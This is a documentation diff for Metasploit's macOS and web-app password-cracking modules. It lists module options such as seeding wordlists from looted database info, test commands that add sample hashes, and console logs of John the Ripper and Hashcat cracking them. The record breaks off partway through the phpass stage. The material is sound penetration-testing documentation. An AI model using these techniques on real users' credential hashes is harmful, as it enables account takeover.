||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
**XSHA**
|
||||
|
||||
Crack xsha based hashes. Default is `true`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:buddahh hash:7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 jtr:xsha
|
||||
creds add user:mama hash:3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA jtr:xsha
|
||||
creds add user:hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
|
||||
creds add user:hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA:mama" >> /root/.msf4/john.pot
|
||||
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
|
||||
echo "password" > /tmp/wordlist
|
||||
echo "buddahh" >> /tmp/wordlist
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-30487-7w6deh
|
||||
[*] Checking xsha hashes already cracked...
|
||||
[*] Cracking xsha hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 16:03) 100.0g/s 819200p/s 819200c/s 819200C/s test3:::..Password1\!99
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking xsha hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking xsha hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking xsha hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1398 xsha xsha_buddahh buddahh Single
|
||||
1399 xsha xsha_mama mama Already Cracked/POT
|
||||
|
||||
[*] Checking xsha512 hashes already cracked...
|
||||
[*] Cracking xsha512 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE (2019-05-31 16:03) 66.66g/s 568866p/s 1137Kc/s 1137KC/s test3:::..t1900
|
||||
Use the "--show --format=xsha512" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking xsha512 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking xsha512 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking xsha512 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1398 xsha xsha_buddahh buddahh Single
|
||||
1399 xsha xsha_mama mama Already Cracked/POT
|
||||
1401 xsha512 xsha512_password password Single
|
||||
1402 xsha512 xsha512_hashcat hashcat Single
|
||||
|
||||
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 16:03) 9.090g/s 290.9p/s 290.9c/s 290.9C/s test3:::..Thales
|
||||
Use the "--show --format=PBKDF2-HMAC-SHA512" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1398 xsha xsha_buddahh buddahh Single
|
||||
1399 xsha xsha_mama mama Already Cracked/POT
|
||||
1401 xsha512 xsha512_password password Single
|
||||
1402 xsha512 xsha512_hashcat hashcat Single
|
||||
1403 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Single
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
|
||||
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
|
||||
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
|
||||
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
|
||||
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
|
||||
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
|
||||
xsha_mama mama Password
|
||||
xsha_buddahh buddahh Password
|
||||
xsha512_password password Password
|
||||
xsha512_hashcat hashcat Password
|
||||
pbkdf2_hashcat hashcat Password
|
||||
|
||||
[*] Starting persistent handler(s)...
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-31439-ulynqs
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-31439-1bcms0z
|
||||
[*] Checking xsha hashes already cracked...
|
||||
[*] Cracking xsha hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking xsha hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1421 xsha xsha_buddahh buddahh Wordlist
|
||||
1422 xsha xsha_mama mama Already Cracked/POT
|
||||
1423 xsha xsha_hashcat hashcat Wordlist
|
||||
|
||||
[*] Checking xsha512 hashes already cracked...
|
||||
[*] Cracking xsha512 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking xsha512 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1421 xsha xsha_buddahh buddahh Wordlist
|
||||
1422 xsha xsha_mama mama Already Cracked/POT
|
||||
1423 xsha xsha_hashcat hashcat Wordlist
|
||||
1424 xsha512 xsha512_password password Wordlist
|
||||
1425 xsha512 xsha512_hashcat hashcat Wordlist
|
||||
|
||||
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1421 xsha xsha_buddahh buddahh Wordlist
|
||||
1422 xsha xsha_mama mama Already Cracked/POT
|
||||
1423 xsha xsha_hashcat hashcat Wordlist
|
||||
1424 xsha512 xsha512_password password Wordlist
|
||||
1425 xsha512 xsha512_hashcat hashcat Wordlist
|
||||
1426 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Wordlist
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
|
||||
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
|
||||
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
|
||||
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
|
||||
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
|
||||
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
|
||||
xsha_mama mama Password
|
||||
xsha_hashcat hashcat Password
|
||||
xsha_buddahh buddahh Password
|
||||
xsha512_hashcat hashcat Password
|
||||
xsha512_password password Password
|
||||
pbkdf2_hashcat hashcat Password
|
||||
```
|
||||
@@ -0,0 +1,417 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode Webapps
|
||||
based password hashes, such as:
|
||||
|
||||
* `atlassian` based passwords
|
||||
* `phpass` based passwords (wordpress, joomla, phpBB3)
|
||||
* `mediawiki` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|-----------|------------------|-------- |
|
||||
| atlassian | PBKDF2-HMAC-SHA1 | 12001 |
|
||||
| mediawiki | mediawiki | 3711 |
|
||||
| phpass | phpass | 400 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `atlassian`, `mediawiki`, or `phpass` password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_webapps```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**ATLASSIAN**
|
||||
|
||||
Crack atlassian hashes. Default is `true`.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MEDIAWIKI**
|
||||
|
||||
Crack mediawiki hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**PHPASS**
|
||||
|
||||
Crack PHPASS hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
|
||||
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
|
||||
echo "test" > /tmp/wordlist
|
||||
echo "password" >> /tmp/wordlist
|
||||
echo "toto" >> /tmp/wordlist
|
||||
echo "hashcat" >> /tmp/wordlist
|
||||
creds add user:mediawiki_qwerty hash:$B$113$de2874e33da25313d808d2a8cbf31485 jtr:mediawiki
|
||||
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
|
||||
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
|
||||
creds add user:atlassian_secret hash:{PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza jtr:PBKDF2-HMAC-SHA1
|
||||
creds add user:atlassian_admin hash:{PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt jtr:PBKDF2-HMAC-SHA1
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-3775-yc870y
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-3775-5tikjk
|
||||
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:03 DONE (2019-05-31 18:59) 0.2564g/s 4375p/s 8883c/s 8883C/s password11908..t1900
|
||||
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 50.00g/s 3175p/s 3200c/s 3200C/s atlassian_admin..Atlassianatlassian
|
||||
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
|
||||
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
|
||||
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
|
||||
|
||||
[*] Checking phpass hashes already cracked...
|
||||
